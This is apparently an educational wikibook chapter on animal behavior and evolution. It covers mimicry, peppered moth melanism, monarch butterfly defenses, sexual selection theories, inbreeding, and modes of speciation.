These antipredator devices are so successful that other organisms have been known to mimic them. The organism that is mimicked is known as the model and the third party that is deceived by the model and its mimic is known as the receiver. The mimics have learned to take advantage of the color patterns and markings that predators have learned by experience to avoid. The model is usually a species that has an abundant population and has successfully warded off predators with an antipredator device.

Organisms have learned to mimic their surroundings or environment in an attempt to “hide” from predators. For example, lizards have learned to mimic tree trunk color which proves to be very successful as predators will simply move past them as they believe that they are simply looking at a tree. Another example of this type of mimicry can be seen with the Katydid who will mimic a leaf in both color and shape in an attempt to be hidden.

Some prey animals have evolved certain patterns on their bodies that mimic other animals in an attempt to startle their predators. The most common example of this type of mimicry can be found in some moths and butterflies who flash eye spots on their wings to predators. These eye spots startle the predator who believes that the eyes belong to a much larger animal that may be a threat to them.

In one form of mimicry known as aggressive mimicry, an organism will mimic a signal that is either deceptive or attractive to its prey. One example of this involves the praying mantis who will mimic flowers to attract insects that they can then capture and eat. Organisms can also imitate the behaviors of other organisms. Moth caterpillars, for example, will imitate the motion and body movements of a snake in order to scare off predators that are usually a prey item for snakes.

One of the most popular types of mimicry involves the warning coloration found on inedible or toxic organisms such as the monarch butterfly. Once these toxic organisms have adapted this warning coloration which warns predators to stay away, other organisms may start to mimic this warning coloration in an attempt to stay alive. Batesian mimics are those mimics that imitate unpalatable species even though they are palatable. Therefore, one species is harmful while the other is harmless. The wasp is a great example of Batesian mimicry. The wasp is the model species in this example as it possesses a sting which enables it to escape from predators. The bright warning coloration of the wasp has been mimicked by many other insects. Even though the mimics are harmless, the predator will avoid them due to bad experiences with wasps with the same coloration. With Müllerian mimicry, many unpalatable species share a similar color pattern. Müllerian mimicry proves to be successful as the predator only has to be exposed to one of the species in order to learn to stay away from all the other species with the same warning color patterns. The black and yellow striped bodies of social wasps, solitary digger wasps, and caterpillars of the cinnabar moths warn predators that the organism is inedible. This is a great example of Müllerian mimicry as all of these unpalatable, unrelated species have a shared color pattern that keeps predators away.

Mimicry is a very successful antipredator device that species have evolved over many generations. As one can see, organisms have come to mimic many different characteristics such as color patterns and behaviors. However, selection only favors the mimics when they are less common than the model. Therefore, the fitness of mimics is “negatively frequency-dependent.”

Example: Industrial Melanism of Peppered Moths

Within one hundred years (1850 to 1950); the dotted whitish form of the peppered moth (Biston betularia) was almost entirely replaced by the melanic (black) form. The melanic form appeared to be best suited for survival against the soot that had collected on forest tree trunks from pollution because the moths could camouflage with their resting area on the tree. The dotted whitish form of the peppered moth was no longer predominant in this environment because they were easily detected and predated on. How does this happen? Many animals have anti-predator adaptations. Adaptations are defined as “a heritable trait that either spread because of natural selection and has been maintained by selection to the present or is currently spreading relative to alternative traits because of natural selection. ” Anti-predator adaptations suggest that a heritable trait, which enables the organism to hide from predators by seeking cover against a background, has spread by natural selection because of reproductive success. H.B. D. Kettlewell’s experiments on the peppered moths, as well as, those conducted by R.J. Howlett and M.E.N. Majerus have proven that the peppered moth’s preference for their resting places on trees are anti-predator adaptations.

In 1955, H.B. D. Kettlewell published his study on pepper moths: Selection Experiments on Industrial Melanism in the Lepidoptera. Kettlewell hypothesized that the dotted whitish form of the peppered moth were more likely to be eaten than the melanic form because they could be easily detected against the soot covered trees. His studies showed that the moths that were easily identified by humans were at a higher risk of predation from birds. The dotted whitish form was at higher risk of predation than the melanic form in the polluted environment.

Howlett and Majerus further examined this hypothesis in their study: The Understanding of Industrial Melanism in the Peppered Moth, published in 1987. They tested it by pinning 50 of both forms of the peppered moths on pale and dark tree trunks.

Calculations: Moths in Polluted (dark) Woodland

Dotted Whitish Form: (30/50) x 100 = 60% Melanic Form: (20/50) x 100 = 40%

60% - 40% = 20% The Dotted Whitish form is predated on 20% more than the melanic form in the polluted woodland.

Moths in Non-polluted (pale) Woodland

Dotted Whitish Form: (15/50) x 100 = 30% Melanic Form: approx. (30/50) x 100 = 60%

60% - 30% = 30% The Melanic form is predated on 30% more than the dotted whitish form in the nonpolluted woodland.

Their studies showed that the dotted whitish form was preyed on 20% more than the melanic form in the polluted woodland. The melanic form is predated on 30% more than the dotted whitish form in the nonpolluted woodland.

In addition to the difference in predation, their studies also showed that in both the polluted and nonpolluted environments the moths that were located on the limb joints instead of the trunks were less likely to be preyed on.

Howlett and Majerus showed that the dotted whitish form was at a higher risk of predation when resting against the polluted (dark) trees. The melanic form had a greater chance of survival and reproduction because they were less likely to be detected against the soot-covered trees, the same findings of Kettlewell years before. Their experiment proved that the melanic form was an anti-predator adaptation, which is why the dotted whitish form had become so rare. The melanic form had become the dominant trait for survival and reproduction in the polluted woodland.

Example: Antipredator Adaptations used by the Monarch Butterfly
The relationship between prey and predators continually changes. Prey need to find ways to outsmart predators in order to survive and reproduce. One way monarch butterflies increase their fitness is by forming huge groups of up to ten million. Increasing group size lowers the probability that any one monarch butterfly will be captured. This is known as the “dilution effect.” Moreover, butterflies located in the center of a large group are more likely to survive than those on the outside. Monarch butterflies that choose to migrate to closed-area overwintering sites are less likely to be attacked by a predator. Also, by reacting as a group to the movement of a predator, monarch butterflies are better able to scare away predators. This “mass startle effect” is thought to stun the predators and provide time for the butterfly to escape (true shock and awe indeed). The aforementioned are collective ways in which the butterfly behaves in order to elude a predator. There are, however, certain individual inherent features that the monarch butterflies possess that increase their probability of avoiding a predator.

Monarch butterflies contain chemicals that are toxic to many predators. Evidently, this makes other similar but harmless species envious. In Batesian mimicry, a palatable species attempts to mimic an unpalatable species in an attempt to increase its own fitness. The monarch butterfly species is one that some Batesian mimics model themselves after perhaps because the monarch butterflies are so successful at avoiding predators. The Batesian mimics, although they are not harmful to predators, experience increased fitness because they model a potentially harmful species such as the monarch butterfly. Although monarch butterflies do not gain an increase in fitness as models of Batesian mimics, they do benefit from Müllerian mimicry. In Müllerian mimicry, two unrelated toxic species converge on a similar morphology. If more than one unpalatable species has a similar morphological trait, then the predators may more easily recognize a Müllerian mimic as potentially harmful. This saves both the mimics and the predators time and energy.

For many years the viceroy butterfly (Limenitis archippus) was thought to be a Batesian mimic of the Monarch. As it turns out, the viceroy can, depending on its diet, be more unpalatable than the monarch, thus both species benefit from resembling the other because a predator eating either one may become ill and avoid both in the future. Thus both species are examples of Müllerian mimicry.

Monarch butterflies display aposematism or warning coloration. This warning coloration is meant to be very conspicuous. Monarch butterflies make themselves conspicuous by having bright orange areas on its wings. Predators quickly learn that prey containing these bright colors are potentially harmful. For example, when a blue jay consumes a monarch butterfly, it vomits shortly after. From that point on, the blue jay associates features of the monarch butterfly, such as its bright colors, as unpalatable. Because of their morphological features, Batesian mimics, Müllerian mimics, and many other aposematic species all gain from the monarch’s unpalatability.

Sexual Selection
Sexual selection, a subcategory of natural selection, was first recognized by Charles Darwin and occurs when individuals differ in their ability to compete with others for mates or to attract members of the opposite sex. By heavy courtship, fighting, or large territorial possession, males heavily compete for females. Even though a male may win a fierce competition for the mate of his choice, it is ultimately the female who decides on a partner that she wants. The female is often successful in her attempts to control reproduction by being choosy and having particular preferences for a male mate.

Females typically have a relatively larger investment in producing offspring. While a single male can often fertilize all of a female's eggs, she will not produce more offspring by mating with more than one male. By and large, a male's reproductive success increases with the number of mating opportunities he obtains, whereas a female's reproductive success is largely limited by how many offspring she can physically bear. This results in sexual selection, in which eager males compete with each other, and females become choosy in which males to mate with. Bateman's studies on mating behavior in fruit flies suggested that the origins of  the unequal investment reside in the fact that male gametes (sperm) are cheaper to produce than eggs. Animals are therefore fundamentally polygynous, as a result of being anisogamous.
 * A female can have only a limited number of offspring, whereas a male can have a virtually unlimited number, provided that he can find females willing to mate with him. Thus females generally need to be much choosier about who they mate with.
 * A male can easily produce sperm in excess of what it would take to fertilize all the females that could conceivably be available [...] Hence the development of the masculine emphasis on courtship and territoriality or other forms of conflict with competing males.
 * In most animals the fertility of the female is limited by egg production which causes a severe strain on their nutrition. In mammals the corresponding limiting factors are uterine nutrition and milk production, which together may be termed the capacity for rearing young. In the male, however, fertility is seldom likely to be limited by sperm production but rather by the number of inseminations or the number of females available to him... In general, then, the fertility of an individual female will be much more limited than the fertility of a male... This would explain why in unisexual organisms there is nearly always a combination of an undiscriminating eagerness in the males and a discriminating passivity in the females.
 * Among polygynous species, the variance in male reproductive success is likely to be greater than the variance in female reproductive success.
 * The female, with the rarest exceptions, is less eager than the male... she is coy, and may often be seen endeavouring for a long time to escape.

Intersexual Choice: Why does she consider the trait "attractive"?
Females choose mates based on many factors. One important factor is male adornments, or ornaments. For example, Marion Petrie and Tim Halliday concluded that the removal of eyespots from a peacock's tail significantly reduces his attractiveness to females. Thus, females are extremely conscious of the visual stimuli provided by males. Other factors involved in female preference in mate selection include body coloration or "gifts" the male may present to the female before copulation. A mother is expected to always want the best for her child, even if it is a future child. Females select mates with certain traits, because they want their children to be healthy, viable, and reproductively successful. A direct and heritable benefit of mate choice by females is the assurance of bearing offspring that will survive well and display high general fitness. Non-genetic benefits of mate choice include fecundity advantages, food, parental care, or a good territory. All of the benefits, both heritable and nonheritable, ultimately lead to the greater survival of a female's offspring.

 * Passive Attraction Theory: Sensory Bias, conspicuous signals make an individual more likely to attract the attention of a mating partner. Elaborate sensory cues alert the female that the male is reproductively superior to others. Male adornments may more readily elicit the mating responses of some females who will thus mate preferentially in favour of the adorned males.
 * Nuptial gifts: spermatophore; territory, protection, resources; courtship indicative of parental investment. e.g., Dung beetle
 * The Good Genes Hypotheses regards assessment of the mate's state of health as a general indicator of viability and quality. Females exhibit mate choice in order to provide their offspring with a partner's genes that will advance their offspring's chances of survival or reproductive success. The healthy mate theory occurs when females prefer males healthy enough to produce and maintain elaborate ornaments. A good example of this is in female house finches, who choose male mates based on their bright coloration. Bright coloration tells the female that the male is more resistant to pathogens and parasites. In Hamilton and Zuk's "Revealing Signal Theory" bright ornaments reveal a genuinely healthy individual in good condition. In conditions where parasites ralter male showiness and parasite resistance is largely inherited, females ought to choose those with bright coloration.
 * Zahavi's Strategic Choice Handicap Theory: the presence of a costly trait is indicative of otherwise good underlying genes that allow an individual to prosper despite this handicap
 * Fisher's Run-away Selection: Females that mate with attractive males are compensated for reduced fecundity by bearing attractive offspring with higher than average mating success. This "Sexy Sons Hypothesis" works by aligning the presence of a particular morphological characteristic in males with a preference for it in females. Choosy females create a positive feedback loop favoring both males with these attributes and females that prefer them.
 * Genetic Compatibility: MHC locus genes in human mate choice
 * The Good Parent Theory suggests that choosy individuals ought to select partners on the basis of how well they will care for their offspring, e.g. as the female searches for a paternal male.

Inbreeding
Inbreeding refers to an elevated amount of breeding between close relatives. The resulting increase in homozygosity of the population exposes recessive, deleterious traits in homozygous form and may lead to inbreeding depression where inbred individuals exhibit reduced health and fitness and lower levels of fertility.

Outbreeding
The introduction of genetic material from unrelated individuals into a breeding line increases genetic diversity, thus reducing the incidence of disease or genetic abnormalities. It is used in breeding to restore vigor, size and fertility to a breeding line.

Sexual Selection and Ornamentation in Males
Sexual selection refers to the process by which changes in gene frequencies result from individuals that are better than others at either competing for or at attracting mates—it is the evolution of traits based on differences in mating success among individuals if (1) some traits increase the ability to compete with individuals of the same sex for access to mates, or (2) some traits increase the ability to attract individuals of the opposite sex. Ornamentation in males, which are commonly the competing sex, may result from different evolutionary forces. Sexual selection is always harsher on the competing sex.
 * Species recognition Ornamentation in breeding individuals may serve in a quick recognition of others as members within a pool of genetically compatible breeding partners.

Intrasexual Competition and interference
Dominant individuals often gain preferred access to mates, desirable territory, or other advantages that will enhance the individual's chances for transmitting its genes into future generations.
 * Precopulatory: A common form is based on an individual's ability to physically dominate a rival. In situations where groups of mates can be readily monopolized this will likely lead to increasing size in the competing sex. Fur seal females, which rely on a small stretch of beach for giving birth, can be monopolized easily in harems.

Winning in ritualized contests, producing a louder signal, or masking an opponent's call; dominance in social groups; territorial exclusion; alternative mating strategies; sexual interference

Postcopulatory:
 * mate guarding;
 * anti-aphrodisiacs;
 * mating plugs; partners remain attached e.g. wolves;
 * Bruce effect is a form of pregnancy disruption when a female mammal is exposed to an unknown male. Examples may also include post-implantation failure in many species of rodents.
 * Infanticide
 * sperm competition: e.g. primate or bat mating systems

Adaptational Models
Adaptational Models are rooted in the view that natural selection plays the dominant role in structuring an organism's morphology, physiology, and behavior. The extant phenotype thus is the product with adaptations that have its possessor allowed to reproduce more successfully than individuals with alternative traits.

Neutralist Models
Alternative accounts for the evolution of traits focuses on genetic drift as a primary determinant for characteristics ranging from genes to complex traits. This acknowledges a significant role for historical contingencies, where present phenotypes of population members are largely determined by the genetic makeup of a small number of founding individuals. Although this view does not deny the role of natural selection in determining the course of adaptive evolution, the theory attributes a large role to genetic drift. When one compares the genomes of existing species, the vast majority of molecular differences do not influence the fitness of the individual organism. As a result, the theory regards differentiation in such features as neither subject to, nor explicable by, natural selection. Theoretical considerations suggest that such a process is most effective in small populations and when selecting among traits that are largely adaptively neutral.

Speciation and Macroevolution
Speciation is the evolutionary process by which new biological species may arise. Natural speciation has taken place over the course of evolution, although the relative importance of different mechanism in driving biodiversity remains a subject of debate. Debate also relates to the rates at which speciation events may occur over geologic time. Although some evolutionary biologists claim that speciation events have remained relatively constant over time (i.e., Phyletic Gradualism), palaeontologists such as Niles Eldredge and Stephen Jay Gould have argued that species may remain unchanged over long periods of time with speciation occurring in relatively brief intervals (i.e., Punctuated Equilibrium).

Allopatric Speciation
In allopatric speciation, two subgroups of a population become geographically isolated from each other (i.e., allopatric populations) through geographical or geological events. As these isolated populations undergo genotypic and phenotypic divergence, they are subjected to different selective pressures and may undergo genetic drift. New species form when the populations evolve independently such that they are no longer able of exchange genes when they come back into contact.

Peripatric and Parapatric Speciation
New species are formed when isolated, small peripheral populations split from the main population and occupy a novel ecological niche. Since small populations often undergo bottlenecks, genetic drift may drive the latter into significant genetic divergence (i.e., peripatric speciation). If geography only accounts for a partial separation, individuals of each species may come in contact across the barrier from time to time, but reduced fitness of heterozygotes leads to selection for reproductive barriers that prevent breeding between the two species.

Sympatric Speciation
In sympatric speciation species diverge while inhabiting the same place. This may happen when a diploid cell undergoes failed meiosis, producing diploid gametes, and self-fertilizes to produce a tetraploid zygote. Alternatively, subgroups of a species may become dependent on different host organisms within the same area. With reduced fitness of heterozygotes, the emergence of reproductive barriers will drive the groups towards two distinct species.

title: Animal Behavior/Evolution